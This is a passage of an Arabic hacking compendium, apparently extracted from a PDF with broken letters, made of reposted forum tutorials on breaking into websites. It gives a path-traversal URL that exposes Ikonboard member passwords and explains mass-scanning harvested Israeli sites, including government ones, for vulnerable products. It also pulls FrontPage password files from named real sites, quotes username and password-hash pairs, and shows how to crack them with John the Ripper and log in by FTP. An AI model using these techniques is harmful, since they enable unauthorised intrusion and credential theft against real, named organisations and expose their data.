help.cgi‬لتعرف اين‬ ‫مكانه ‪ ،‬لنفرض مكانه هنا‬ ‫‪http://www.example.com/cgi‬‬‫‪bin/help.cgi‬‬ ‫أكتب بعد الملف غير العنوان ليصبح‬ ‫‪http://www.example.com/cgi‬‬‫‪466‬‬

‫‪bin/help.cgi?helpon=../members/‬‬ ‫‪[member].cgi%00‬‬ ‫مع ملحظه تغيير ]‪ [member‬بإسم عضو وبدون‬ ‫القوسين ][ طبعا‬ ‫سوف يعرض لك معلومات العضو كامله ومن ظمنها‬ ‫كلمة المرور وهذه الثغره لـ المنتدى ‪Ikonboard‬‬ ‫‪ 2.1.7‬وهذا ليس لب موضوعي ولكن هي بدايه‬ ‫ومثال ل تحفظه لني أحضرت أبسط مثال فقط فيوهجد‬ ‫غيره مئات بل آلف ملفات الـ ‪ CGIScript‬تملك‬ ‫ثغرات مثل هذه واغلب إستثماراتها تكون من تخلل‬ ‫‪url‬‬ ‫للحصول على مثل هذه الستثمارات لثغرات ملفات‬ ‫السي هجي آي سكريبت شوف الرشيف هذا وهو لغته‬ ‫روسيه أعتقد ولكن ما يهم لننا نبحث عن الـ‬ ‫‪ Exploit‬أو الستثمار‬ ‫‪http://www.secure.f2s.com/eng_ver/‬‬ ‫‪/bugs‬‬ ‫وممكن تأتخذ إسم المنتج مثل وتضعه في محرك البحث‬ ‫لـ ‪ /http://www.securiteam.com‬وتشوف‬ ‫النتائج ‪ ،‬أو تشترك في القائمه البريده لـ سيكيورتي‬ ‫فوكس فهي مفيده هجدا أنا شاركت من قبل فتره وهجدا‬ ‫أعجبت بها وهي مختصه في المن وليس لـثغرات‬ ‫‪467‬‬

‫السي هجي آي سكربت ‪ ،‬يعني امن واتخبار وكل شئ‬ ‫‪ ....‬ويوهجد برنامج تقدمه سيكيورتي فوكسي بإسم‬ ‫سيكيورتي فوكس بيجر ‪ ،‬هو برنامج لتسهيل عمليه‬ ‫الحصول على التخبار ووو‪...‬الخ‬

‫ تطويره بحيث يصبح يبحث على إستثمارات غير الـ‬‫‪CGIScripts‬‬ ‫التختراق العشوائي إذا كان فعل عشوائي ‪ ،‬يعني‬ ‫تخترق اي موقع ولو بدون سبب فهذه همجيه !! ‪،‬‬ ‫لكن ممكن نستفيد منه إحنا في أنه ما يكون في شكل‬ ‫همجي ‪ ،‬أنا اقول لك كيف ‪ ،‬مثل إسرائيل اللي الكل‬ ‫يكرهها ‪ ،‬الذين يأمرون الفلسطينيين بأوقاف إطلق‬ ‫النار ‪ ، (:‬الكل يكرههم ليس لهجل أنهم يهود ‪ ،‬ل‬ ‫نكرههم لنهم ظلموا فلسطين ‪ ،‬عندهم موقع فيه آلف‬ ‫من مواقعهم هذا هو ‪ sites 12610‬تنتهي بـ ‪co.il‬‬ ‫و ‪ sites 1104‬تنتهي بـ ‪ org.il‬و ‪sites 70‬‬ ‫تنتهي بـ ‪ ac.il‬و ‪ .sites 78‬تنتهي بـ ‪gov.il‬‬ ‫وهذه مهمه ‪ ،‬و ‪ .sites 54‬تنتهي بـ ‪ net.il‬و ‪29‬‬ ‫‪ .sites‬تنتهي بـ ‪ muni.il‬و ‪ sites 2009‬تنتهي‬ ‫بـ ‪ ، com‬و ‪ .sites 137‬تنتهي بـ ‪ net‬و ‪org -‬‬ ‫‪ .121 sites‬و ‪ .edu - 4 sites‬لعينه ‪،‬‬ ‫‪468‬‬

‫‪ .israel.net - 84 sites‬و ‪.il - sites‬‬ ‫‪........‬عشان تحصل على كل هذه السايت رو ح الموقع‬ ‫هذا ‪http://iguide.co.il/sites/sites.htm‬‬ ‫وفيه كمان محركات بحث‬ ‫‪/http://www.achla.co.il‬‬ ‫‪http://www.reshet.co.il/data/index.vs‬‬ ‫‪?dw=1‬‬ ‫‪/http://www.maven.co.il‬‬ ‫‪/http://www.tapuz.co.il‬‬ ‫‪/http://www.walla.co.il‬‬ ‫‪http://www.info.gov.il/find.pl‬‬ ‫وفيه محرك أعد‪.‬م منها واللي هو ‪altavista.co.il‬‬ ‫المهم على كل شخص منا أن يصلح فرز للبيانات‬ ‫الموهجوده في هذه المواقع ‪ ،‬يستخد‪.‬م اللغه التي يتقنها‬ ‫ليصنع برنامج يصلح فرز ويضعها في ملف تكست‬ ‫بدون اشياء ثانيه معها‬

‫‪469‬‬

‫ مثل‬، ‫العمليه الثانيه هي البحث فيها كلها عن منتج‬ ‫ أول يتم الشبك‬، ‫ الطريقه سهله هجدا‬، /w3-msql proxy.isp.net.sa :8080 ‫مع بروكسي مثل‬ ‫ مثل ترسل للبروكسي‬، GET ‫وثم يرسل له أمر‬

GET http://www.com.il/cgi-bin/w3msql/ HTTP/1.0 Accept: image/gif, image/x-xbitmap, */* ,image/jpeg, image/pjpeg Accept-Language: ar-sa User-Agent: Mozilla/4.0 (compatible; (MSIE 5.5; Windows 98 Host: www.com.il Proxy-Connection: Keep-Alive ‫وهو يطلب من البروكسي أحضار الموقع‬ ‫ يتضح طلبنا‬، /http://www.com.il/cgi-bin ‫ في الحقيقه ل نبحث عن‬، /cgi-bin/w3-msql ‫لـ‬ ‫ ولكن نبحث عن كل المواقع التي‬، ‫ثغرات سي هجي آي‬ ‫ يعني المواقع‬، WWWMSQL ‫يوهجد بها المنتج‬ 470

‫السرائليه مثل التي هجمعناها في ملف تكست كلها تأتخذ‬ ‫واحد واحد وتدتخل في البرنامج الذي صممناه وترسل‬ ‫الى البروكسي بحثا عن ‪ cgi-bin/w3-msql‬وثم‬ ‫يحفظ رد البروكسي في ملف تخارهجي ‪ ،‬وهكذا حتى‬ ‫ننتهي من كل المواقع ‪ ،‬وثم نفتح الملف ونشوف التي‬ ‫تم إيجاد المنتج ‪ WWWMSQL‬داتخها والتي لم‬ ‫يوهجد ‪ ،‬ونتوهجه الى سيكيورتي فوكس وال سيكيورتي‬ ‫تيم وال أي موقع يعجبك وابحث عن ‪، w3-msql‬‬ ‫مثل في سيكوتي تيم نجد ‪ Exploit‬لـ ‪w3-msql‬‬ ‫يمكن تطبيقه من المتصفح ‪ ،‬وهو هنا‬ ‫‪http://www.securiteam.com/exploits‬‬ ‫‪/2WUQBRFS3A.html‬‬ ‫طريقه فحص عده مواقع بحثا عن منتج فيها أسميها‬ ‫انا ‪ Random Hacking‬يعني إتختراق عشوائي ‪،‬‬ ‫ولكن لو فعل بحثت عن ‪ w3-msql‬في المواقع‬ ‫السرائليه فأنا أقول لك بأنك ما را ح تلقى كثير أو لن‬ ‫تجد شئ ‪ ،‬ممكن تبحث عن ‪ /vti_pvt_/‬لترصد كل‬ ‫المواقع التي فيها فرونت بيج ‪ ،‬وطبعا بعد ما يتم حفظ‬ ‫كل المعلومات المسترهجعه من البروكسي تكون بشكل‬ ‫‪ HTML‬عشان كذا أنت تخل الملف يكون بنسق *‪.‬‬ ‫‪ html‬وافتحه وتجد كل المواقع ‪ ،‬اللي كتب عنها ‪..‬‬ ‫‪ The page cannot be displayed‬واللي‬ ‫‪471‬‬

‫‪ Forbddien‬واللي ‪.... not found....‬الخ ‪ ،‬من‬ ‫هذه الردود تعرف اللي نت فاوند وال موهجود ولكن‬ ‫غير مسمو ح بالوصول له ‪..‬الخ بهذه الطريقه تعرف‬ ‫اللي موهجود عليه واللي مو موهجود ‪.....‬والباقي عليك‬

‫ كيف تستغل اي ثغره بعد الحصول عليها‬‫إذا كانت ‪ url‬ما يبغا لها فلسفه ‪ ،‬كود ‪ c‬وما عرفت‬ ‫تشغله أو قابلت فيه أتخطاء فممكن تبحث عن فرهجون‬ ‫ثاني لـه ولكن بلغه ‪ perl‬أو ‪ Shell *.sh‬وهو الذي‬ ‫يقابل ‪ Batch‬في ويندوز وتحدثنا عنها في كوكب‬ ‫لغات البرمجه ‪ ،‬من الدوس بعد ما تثبت أكتيف بيرل‬ ‫أكتب ‪ perl exploit.pl‬إذا كان الـ ‪ exploit‬بلغه‬ ‫بيرل ولكن طبعا فيه أشياء تغييرها في الكود نفسه ‪،‬‬ ‫وهذه الشياء تكون مكتوبه بين علمات التعليقات ‪(:‬‬ ‫وأكيد بتواهجه مشاكل إذا ما تعرف شئ في بيرل ‪ ،‬في‬ ‫هذه الناحيه ل تطلب شر ح بالصور ‪ (:‬إذا رهجع لك رد‬ ‫طويل ما قدرت تقراه ممكن تحفظ الخرج عن طريق‬ ‫علمة > وثم مسافه وإسم الملف مثل ‪perl‬‬ ‫‪exploit.pl > log.htm‬‬ ‫وبالنسبه للمنتج أكتيف بيرل فقط تواهجه فيه مشاكل ‪،‬‬ ‫لن بعض الـ ‪ Exploit‬كتب في الصدار أربعه‬ ‫‪472‬‬

‫وممكن تخمسه وممكن ما يعمل زين في أكتايف بيرل‬ ‫لذلك قد تضطر لتغير المفسر عندك أو تعدل في الكود‬ ‫وهذا كله يطلب تخبره في اللغه ‪ ،‬وعلى فكره ليونكس‬ ‫)أعمل على ‪( RedHat 6.2‬فيه مفسر بيرل ممتاز‬ ‫هجدا افضل من أكتيف بيرل بعشرات المرات‪.‬‬ ‫انتهى‪،،،‬‬ ‫" الطريقة الصحيحة والمثلى في‬ ‫اوختراق المواقع "‬ ‫>منقول<‬ ‫>الكاتب‪< marwan911 :‬‬ ‫اول تخطوة في التختراق واللي هي اتخذ المعلومات‬ ‫يعني نعرف الموقع الفلني شنهو الملقم اللي شغال‬ ‫عليه والنظا‪.‬م والخدمات اللي يدعمها‪.‬‬ ‫الملقمات اشهرها اثنين‬

‫‪473‬‬

‫‪ :IIS‬من مايكروسوفت وهذه مليانة ثغرات‪) .‬ومواقع‬ ‫قليل مقفلة ثغراتها(‬ ‫‪ :apache‬من مجموعة مبرمجين متوزعين في‬ ‫انحاء العالم واتختراقها شبه صعب‪.‬‬ ‫طيب‬ ‫الحين عندنا موقع‬ ‫وشلون نعرف نظا‪.‬م التشغيل والملقم والخدمات‬ ‫والمعلومات كلها‬ ‫عندك الموقع ‪http://www.netcraft.net‬‬

‫ادتخله‬ ‫تلقي مربع‬ ‫هنا تحط فيه الموقع اللي تبي تعرف المعلومات اللي‬ ‫فوق‬ ‫‪474‬‬

‫مثل نحط موقع البيت البيض اللي هو‬ ‫‪whitehouse.org‬‬ ‫ملحظة‪ :‬نكتبه من غير ‪ //:http‬ول ‪ /‬اللي بالتخير‬ ‫‪http://uptime.netcraft.com/up/graph.‬‬ ‫‪...whitehouse.org‬‬ ‫را ح يطلع لنا التالي‬ ‫‪The site www.whitehouse.org is‬‬ ‫‪running Microsoft-IIS/5.0 on‬‬ ‫‪Windows 2000‬‬ ‫طيب‬ ‫الحين عرفنا معلومتين مهمتين‬ ‫اول شيء انه شغال على الملقم ‪IIS5.0‬‬ ‫ثاني شيء شغال على نظا‪.‬م ويندوز ‪2000‬‬ ‫‪475‬‬

‫حلو‬ ‫اول شيء نجرب ثغرات ‪ IIS5.0‬عليه )را ح احطها‬ ‫بعد الموضوع(‬ ‫إذا مانفع شيء نشوف ثغرات نظا‪.‬م ويندوز ‪2000‬‬ ‫)را ح احط الموقع بعد الموضوع(‬ ‫طيب‬ ‫الحين فيه حاهجة اسمها يوني كود‬ ‫هذه تخترق فيها عن طريق المتصفح‬ ‫وماتمشي إل مع ملقمات ‪ IIS‬وهي عبارة عن عناوين‬ ‫طويلة تحطها بعد عنوان الموقع‪ .‬را ح احط امثلة‬ ‫عليها‪.‬‬ ‫طيب لنفرض انه ماطلع فيها ثغرات؟‬ ‫نشوف محتويات الموقع نفسه‬ ‫‪476‬‬

‫نشوف إن كان عنده سجل زوار او منتدى او او او‬ ‫ونطلع ثغراتها من الموقع اللي را ح ارفقه في الرد اللي‬ ‫بعد الموضوع‪.‬‬ ‫طيب لو كان السيرفر اباتشي؟‬ ‫تخلونا ناتخذ مثال موقع ارانك ‪www.arank.com‬‬ ‫لو حللناه بالنيت كرافت را ح نشوف النتيجة التالية‬ ‫‪The site www.arank.com is running‬‬ ‫)‪Apache/1.3.20 (Unix‬‬ ‫‪mod_gzip/1.3.19.1a mod_perl/1.26‬‬ ‫‪mod_bwlimited/0.8 PHP/4.0.6‬‬ ‫‪mod_log_bytes/0.3‬‬ ‫‪FrontPage/5.0.2.2510 mod_ssl/2.8.4‬‬ ‫‪OpenSSL/0.9.6 on Linux‬‬ ‫طيب هنا يهمنا ثلث اشياء‬

‫‪477‬‬

‫الملقم وهو ‪ apache 1.3.20‬و دعم فرونت بيج‬ ‫‪ FrontPage/5.0.2.2510‬وهذه مليانة ثغرات‬ ‫والثالث النظا‪.‬م وهو ‪Linux‬‬ ‫طيب‬ ‫الملقم‬ ‫اول شيء اباتشي من الملقمات الصعبة التختراق إل‬ ‫بعض الصدارات منها فنحط هذه على هجنب‪.‬‬ ‫نشوف دعم الفرونت بيج‬ ‫زي ماقلنا الفرونت بيج مليان ثغرات‬ ‫وثغراته قوية وكثيرة تقريبا‬ ‫منها مجلد _‪ vti_pvt‬و _‪ private‬هذه اللي‬ ‫نحتاهجها غيره مامنه فايدة‬ ‫داتخل المجلدين را ح نلقي اربع ملفات مهمة وهي‬ ‫‪ service.pwd‬و ‪ users.pwd‬و‬ ‫‪478‬‬

‫‪ authors.pwd‬و ‪adminstators.pwd‬‬ ‫ويعتبر هذا اتخطر ملف‬ ‫طيب لو قدرنا ننزل واحد من الملفات هذه )ملحظة‬ ‫الثغرة هذه موهجودة ب ‪ %70‬من المواقع الموهجودة‬ ‫عالنت( لو نزلناها نفتحها بالمفكرة ونلقي السطر هذا‬ ‫على سبيل المثال‬ ‫‪goodyco:CalXS8USl4TGM‬‬ ‫وهذا من موقع قودي‬ ‫‪http://www.goody.com.sa/_vti_pvt/s‬‬ ‫‪ervice.pwd‬‬ ‫طيب الحين ‪ goodyco‬اليوزر والباسس مشفر‬ ‫واللي هو ‪CalXS8USl4TGM‬‬ ‫وشلون ينفك؟ ينفك ببرنامج اسمه ‪john the‬‬ ‫‪repaier‬‬ ‫تنزله وتحط الملف المشفر )مع اليوزر( بمجلد واحد‬ ‫وتفتح الدوس وترو ح لمجلد هجوهن وتكتب السطر‬ ‫التالي ‪john -i PASSWORD.FILE‬‬ ‫‪479‬‬

‫وعاد استناه يطلع لك الباسس‬ ‫طيب نرو ح للفقرة الثالثة واللي هي النظا‪.‬م‬ ‫زي ماشفنا النظا‪.‬م هو لينكس‬ ‫لكن لينكس ايش؟ فيه ريد هات و ماندريك وفيه منه‬ ‫إصدارت كثير وثغرات اكثر‬ ‫لكن هنا را ح تواهجهك مشكلتين‬ ‫اول شيء معرفة النظا‪.‬م تقدر تطلعه من ابدا وتشغيل‬ ‫ول ‪ telnet‬واكتب عنوان الموقع يطلع لك النظا‪.‬م‬ ‫فوق نوعه وإصدارته‬ ‫المشكلة الثانية لز‪.‬م يكون عندك لينكس اصل‬ ‫علشان ثغراته بلغة ال ‪ c‬وهذه ماتشتغل إل عاللينكس‬ ‫فقط‬ ‫================‬ ‫‪480‬‬

‫‪ /http://neworder.box.sk‬هذا الموقع مفيد‬ ‫هجدا تكتب مثل )فوق بالمربع اللي عاليمين( ‪ IIS‬او‬ ‫‪ apache‬او منتدى واصدارته او اي برنامج ويطلع‬ ‫لك ثغراته‬ ‫‪ /http://www.ussrback.com‬الموقع هذا‬ ‫تخطير هجد ًا هجد ًا ترو ح ل ‪ EXPLOITS‬اللي عاليسار‬ ‫وتختار اول اتختيار هنا ثغرات هجميع النظمة من‬ ‫لينكس و ويندوز و و و الخ‪ ..‬ومنوعة من ‪ c‬و ‪perl‬‬ ‫و يوني كود‪.‬‬ ‫انتهى‪،،،‬‬

‫" بنبذه يسير ة ومبسطة عن كيفية‬ ‫اوختراق المواقع "‬ ‫‪481‬‬

‫>منقول من منتديات كويت تن<‬ ‫>الكاتب‪:‬‬ ‫ركز معي‬ ‫هذا سؤال يحير الجميع بالذات المبتدئين ‪ .‬عليك بأتجاه‬ ‫للموقع المراد اتختراقه‬ ‫حيث يجب عليك دراسة الموقع كامل من حيث عدة‬ ‫عوامل اهمها‬ ‫‪ ( -1‬نظا‪.‬م السيرفر والمستخد‪.‬م في الموقع وينقسم‬ ‫السيرفر الى نوعين‬ ‫ا ( ‪ -‬النوع الول هو ‪ ) IIS‬اي اي اس (‬ ‫ب ( ‪ -‬النوع الثاني ‪ ) apachc‬اباشي (‬ ‫‪ ( -2‬ملحظة وهجود محرك بحث في الموقع ا‪.‬م ل‬ ‫‪ ( -3‬معرفة وقت الذروه لزوار الموقع ووقت الخمول‬ ‫‪ ( -4‬معرفة اليبي للموقع‬ ‫‪482‬‬

‫تقريبا هذه اهم العوامل المتخذه كعوامل مطلوبه هجدا‬ ‫لتنفيذ العمليه وهذه تاتخذ‬ ‫وقت حيث ان كل شي مايجي بالساهل‬

‫سبق وذكرنا السيرفر ‪ IIS‬والداعم لبعض المواقع‬ ‫وهذا امره تقريبا سهل حيث ان‬ ‫اغلب من يستعمل هذه الطريقه هم من الهواه‬ ‫حيث ان ثغرات تقريبا سهله واتختراقها ايضا مرتبط‬ ‫بأن تكون الثغرات التي لديك‬ ‫هجديده و طااازه‬ ‫وشوية صبر بالستعانه بال ثم ببعض البرامج‬ ‫المساعده وسوف تححق نجاحاتك‬ ‫بأذن ال ‪.‬‬ ‫سيرفر ‪ apachc‬وهذا السيرفر قوي هجدا وغالبا ل‬ ‫يعمل على البحث عن ثغراته‬ ‫‪483‬‬

‫سوى المحترفون ‪ .‬لنه يتطلب عدة امور ل يستطيع‬ ‫عملها ال من له تخبره‬ ‫بنظا‪.‬م ليونكس ويعرف بعض لغات البرمجه ‪.‬‬ ‫انتهى‪،،،‬‬

‫" )>س&ج<( في اوختراق المواقع‬ ‫للمبتدئين "‬ ‫>منقول من منتدى ابن مصر<‬ ‫>الكاتب‪ :‬القناص العربي<‬ ‫س*‪ :‬السل‪.‬م عليكم أتخي القناص العربي‪(:‬‬ ‫ج*‪ :‬أهلين القناص العربي المزيف ‪D:‬‬

‫‪484‬‬

‫س*‪ :‬أحم أحم ‪ ,‬أنا كنت عايز أسألك شوية أسألة في‬ ‫الهاكنج‪.‬‬ ‫ج*‪ :‬تفضل حبيبي ‪ ,‬بس ياريت ماتكون عن اتختراق‬ ‫الهجهزة ‪ ,‬ولعب العيال هذا !!‬

‫س*‪ :‬ل ل ‪ ,‬أنا تطوت كثير ‪(:‬‬ ‫ج*‪ :‬أوكى تفضل ‪(:‬‬

‫س ‪ :2‬لقد سمعت كثيرا عن ثغرات الفرونت بيج ‪ ,‬هل‬ ‫يمكنك توضيح طريقة استخدا‪.‬م هذه الثغرة ‪.‬‬ ‫ج ‪ :2‬بالتأكيد حبي ومن عيوني الثنين ‪D:‬‬ ‫طبعا ثغرات الفرونت بيج بتكون موهجودة في أنظمة‬ ‫التشغيل ‪ NT & Unix‬التي يدعم سيرفراتها الـ‬ ‫‪ , FrontPage‬وبتمكنك من معرفة كلمة سر‬ ‫الدمين تبع الموقع ‪(:‬‬ ‫وكلمات السر هذه بتكون موهجودة في الملفات التالية‪:‬‬ ‫‪Administrator.pwd‬‬ ‫‪Administrators.pwd‬‬ ‫‪Authors.pwd‬‬ ‫‪Users.pwd‬‬ ‫‪485‬‬

‫التي بتكون عادة في المجلد _‪vti_pvt‬‬ ‫مثل هذه الملف مثل‪:‬‬ ‫‪http://www.tradesystemlab.com/_vti‬‬ ‫‪(: _pvt/service.pwd‬‬ ‫وبعد فتح الملف ‪ service.pwd‬هتلقي مكتوب‬ ‫بداتخله هكذا تقريبا‪:‬‬ ‫‪-FrontPage- #‬‬ ‫‪tradesys:FpNTpIDWSk872‬‬ ‫وهذه كلمة السر المشفرة واسم المستخد‪.‬م ‪(:‬‬

‫س ‪ :3‬أووووه واااااو ممتاز ‪ ,‬ولكن كيف أدتخل على‬ ‫الموقع كأدمين بهذه الكلمات ؟؟ ‪S:‬‬ ‫ج‪ :‬يمكنك استخدا‪.‬م برنامج اف تي بي مثل برنامج‬ ‫‪ , WS_FTP‬أو ضع بدل ‪ www‬في عنوان الموقع‬ ‫كلمة ‪ ftp‬مثل هذا‪ ftp.ebnmasr.com :‬وقم‬ ‫بموضعه في شريط العنوان ‪ ,‬وسيطلب منك الموقع‬ ‫اسم المستخد‪.‬م وكلمة المرور للموقع ‪(:‬‬

‫س ‪ :4‬مشكور حبيبي ولكن ليش مايدتخل باسم‬ ‫المستخد‪.‬م وكلمة السر هذه ‪:‬‬ ‫‪486‬‬

‫‪ tradesys:FpNTpIDWSk872‬؟؟ )‪(N‬‬ ‫ج ‪ :4‬بكل بساطه لنها مشفرة !! ‪ ,‬يمكنك فك تشفيرها‬ ‫عن طريق برنامج مثل برنامج ‪John The‬‬ ‫‪ , Ripper‬نزله من هنا‪:‬‬ ‫‪http://www.openwall.com/john‬‬

‫س ‪ :5‬أها ‪ ,‬لكني ماأعرف أستخد‪.‬م هذا البرنامج ‪,‬‬ ‫ممكن تشرحهولي أتخي العزيز القناص لو سمحت ؟؟‬ ‫ج ‪ :5‬لتستأذن مني ياولد !! ‪ ,‬أنا في الخدمة ‪, (:‬‬ ‫شوف‪ :‬انت أول ماتنزل البرنامج وتفك ضغطه ‪,‬‬ ‫هيكون فيه مجلدين‪ , doc & run :‬الي يهمنا هو‬ ‫مجلد ‪ , run‬شوف‪ :‬عشان تسهل على نفسك وبدل‬ ‫ماتفتح الدوس وتدتخل على مجلد البرنامج وهالمشاكل‬ ‫وكمان البعض ما بيعرف يعمل هالشياء ‪: p:‬‬ ‫ابحث في هجهازك عن‪ command.com :‬وقم‬ ‫بنسخه والصقه في مجلد ‪ , run‬أوكى ؟؟‬ ‫وهجيب كلمة السر هذه‪:‬‬ ‫‪ tradesys:FpNTpIDWSk872‬وحطها في‬ ‫ملف ‪ txt‬باسم ‪ passwd‬مثل وضعه في مجلد ‪run‬‬ ‫‪ ,‬ول تقم بفتح ‪ , john.exe‬افتح‬ ‫‪ command.com‬واكتب فيه الوامر التالية‪:‬‬ ‫‪487‬‬

‫‪ << john -single passwd.txt‬ليبحث لك عن‬ ‫الكلمات السرية التي تكون مطابقه لسم المستخد‪.‬م‬ ‫‪ << john -i:Digits passwd.txt‬ليبحث لك‬ ‫عن الرقا‪.‬م فقط‬ ‫‪ << john -i:Alpha passwd.txt‬ليبحث لك‬ ‫عن الحروف الصغيرة‬ ‫‪ << john -i:all passwd.txt‬ليبحث لك عن‬ ‫هجميع الحتمالت ‪ ) ,‬وأنا على طول أستخد‪.‬م هذا المر‬ ‫‪ ,‬عشان كده بتطول عملية الفك معي ‪( D:‬‬ ‫وبعدما ينتهي البرنامج من فك الكلمة ستجد كلمة السر‬ ‫المشفرة والمفكوكه بالملف هذا‪john.pot :‬‬

‫س ‪ :6‬يااااااه ‪ ,‬البرنامج طول كثير ‪ ,‬متأكد أنه هيفك‬ ‫تشفيرها ؟؟‬ ‫ج ‪ :6‬أيوووووه لز‪.‬م يفك تشفيرها في النهاية ‪ ,‬حتى‬ ‫لو أتخذ أسبوع ;( ‪ ,‬لنه بيجرب هجميع الحتمالت‪.‬‬ ‫وممكن تعرف حالة البرنامج بالضغط على أي زر من‬ ‫لوحة المفاتيح ‪(:‬‬

‫‪488‬‬

‫س ‪ :7‬الحمد ل ‪ ,‬تخلص انفكت كلمة السر )‪ , (Y‬لكن‬ ‫وين اسم المستخد‪.‬م ؟؟‬ ‫ج ‪ :7‬في كلمة السر هذه‪:‬‬ ‫‪ , tradesys:FpNTpIDWSk872‬هيكون اسم‬ ‫المستخد‪.‬م‪ ) tradesys :‬يعني الكلمة الي بتكون قبل‬ ‫علمة ‪( :‬‬

‫س ‪ :8‬قنااااااص ‪ ,‬ممكن تقولي كيف هجبت هالثغرة من‬ ‫الموقع ؟؟ ‪$:‬‬ ‫ج ‪ :8‬هههههههههه ‪ ,,,‬وليه هالوهجه الخجلن ;( ‪ ,‬أنا‬ ‫بصراحة هجبتها بالبحث العشوائي ‪ ,‬ولكن انت لو كان‬ ‫عنك موقع ممكن تعمل عليه سكان ببرنامج فحص مثل‬ ‫برنامج عمران ) المفضل لدي ‪ ( D:‬عشان تطلع‬ ‫الثغرات الموهجودة بالموقع ‪(:‬‬

‫س ‪ :9‬طيب أنا عندي سؤالين عالجواب الي فات ده ‪,‬‬ ‫هأسأل واحد الول ‪ , (:‬ايه طريقة البحث العشوائي‬ ‫هذه ؟؟‬ ‫ج‪ :‬أحم أحم ‪ ,‬هذه الطريقة ‪ :‬انك تبحث عن ثغرة‬ ‫معينة في محرك بحث يستخد‪.‬م الـ ‪ spiders‬عشان‬ ‫‪489‬‬

‫تلقي مواقع كثيييرة فيها الثغرة هذه ‪ ,‬في طبعا مواقع‬ ‫كثيرة بتستخد‪.‬م السبايدرز ‪ ,‬لكن لن أقولك لك على أي‬ ‫واحدة منها ‪ ,‬ال هذا الموقع‪ walla.co.il :‬وطبعا‬ ‫هذا موقع اسرائيلي ‪ ,‬عشان معظم النتائج تكون مواقع‬ ‫اسرائيلية ;( ‪.‬‬

‫س ‪ :10‬ممممم ‪ ,‬كيف يعني تبحث عن ثغرة معينه ؟؟‬ ‫‪ ,‬مافهمتك زين !!‬ ‫ج ‪ :10‬أنا وال ماأستخد‪.‬م هالمواقع ال للبحث عن‬ ‫ثغرات الفرونت بيج ‪ , $:‬يعني انت مثل عايز تبحث‬ ‫عن الثغرة التي تم ذكرها سابقا ‪ ,‬هتكتب ايه ؟؟ ‪ ,‬مانت‬ ‫كاتب غير كلمة واحدة ‪ ,‬هذه‪(: (: service.pwd :‬‬ ‫‪(:‬‬

‫س ‪ :11‬أهاااااا ‪ ,‬مشكور حبيبي ‪ ,‬كنت عايز أسألك‬ ‫كمان عن كيفية عمل برامج السكان على الثغرات ‪(:‬‬ ‫ج ‪ :11‬البرامج هذه بتكون فيها مجموعة كبيرة من‬ ‫الثغرات أو الـ ‪ , EXPLOITES‬وبتبدأ تجرب ثغرة‬ ‫ثغرة على الموقع ‪ ,‬وتطلعلك النتائج ‪ , (:‬وفي موقع‬ ‫‪490‬‬

‫رهيييب عشان تجيب منه الـ ‪ , EXPLOITES‬هذا‬ ‫هو‪. /http://www.ussrback.com :‬‬

‫انتهى‪،،،‬‬

‫" بربنامج ‪ CgiScaner‬للبحث عن‬ ‫الثغرات "‬ ‫>منقول<‬ ‫>الكاتب‪ :‬بو هاهجر<‬ ‫هنا برنامج رائع للبحث عن الثغرات‬

‫‪491‬‬

‫رقم ‪ 1‬تخروج‪.‬‬ ‫رقم ‪ 2‬أظهار الكودات المستخدمة‪.‬‬ ‫رقم ‪ 3‬بدأ البحث‪.‬‬ ‫رقم ‪ 4‬تضع العنوان للضحية‪.‬‬ ‫وأترك البرنامج وسوف يظهر لك الثغرات الموهجودة‬ ‫فى الموقع‪.‬‬ ‫وصلة البرنامج‪..‬‬ ‫‪http://mypage.ayna.com/vox9‬‬ ‫‪9/cgiscan3.zip‬‬ ‫انتهى‪،،،‬‬

‫‪492‬‬

‫" شرح بربنامج سوبر سكان لمعرفة‬ ‫المنافذ المفتوحة في المواقع "‬ ‫>منقول من منتديات شامل نت<‬ ‫>الكاتب‪ :‬مشاريو<‬ ‫تعريف بالبرنامج ‪ :::‬هذا البرنامج يقو‪.‬م بالبحث عن‬ ‫المنافذ المفتوحه في هجهاز‬ ‫‪493‬‬

‫الضحيه ‪ ,,,‬لن بعض البرامج يكون فيها الباحث‬ ‫ضعيف ول يصيد‬ ‫اي اي بي به منفذ مفتو ح ومن امثلة ذلك برنامج‬ ‫السب سفن هجولد ‪ ,,‬رغم ان‬ ‫البرنامج وقوة اتصاله ممتازه ال ان الباحث ضعيف‬ ‫فنستخد‪.‬م هذا البرنامج كاداة‬ ‫مساعده ’’’’’ ول اطيل عليكم بالكل‪.‬م اليكم الشر ح‬ ‫انا شرحت البرنامج رغم سهولته وفوق ذلك معرب‬ ‫ولكن البعض ليعرف استخدامه ‪ ...‬اليكم واهجهة‬ ‫البرنامج‬

‫‪494‬‬

‫ثلث تخطوات تقو‪.‬م بها وهي كالتالي ‪::‬‬ ‫انظر اعلى اليمين تجد قائمة المنافذ ادتخل قائمة المنافذ‬ ‫لتحديد المنفذ‬ ‫ل السب سفن المنفذ الخاص به‬ ‫المراد البحث فيه مث ً‬ ‫‪ 27374‬او ‪. 1243‬‬

‫‪495‬‬

‫انظر الصوره التاليه ؟‬

‫في رقم واحد نكتب المنفذ الذي نريد البحث فيه‬ ‫رقم اثنين لكي نضيف المنفذ **ملحظه نقدر نضيف‬ ‫اكثر من منفذ‬ ‫بعد ماننتهي من اضافة المنفذ نضغط اوكي للتأكيد‬ ‫ونتأكد من ان المنفذ قد‬ ‫اضفناه كما في الصوره ‪.‬‬

‫‪496‬‬

‫بعد ذلك نرهجع للصوره الولى ونضبط الخيارات كما‬ ‫هو موضح‬ ‫ونحدد الي بي من ‪ ------------‬الى‬ ‫بعد ذلك نضغط ابــــــــــــدأ فتظهر لنا الي بيات والي‬ ‫بي الذي به منفذ مفتو ح‬ ‫نحصل علمة ‪ +‬على يساره عندما نضغط عليه يظهر‬ ‫لنا المنفذ المفتو ح‬ ‫كما في الصوره الولى ‪........‬انتهى و‪,,,,‬‬

‫‪497‬‬

‫وصلة البرنامج‪...‬‬ ‫‪http://mypage.ayna.com/a7lla‬‬ ‫‪1/superscan.zip‬‬

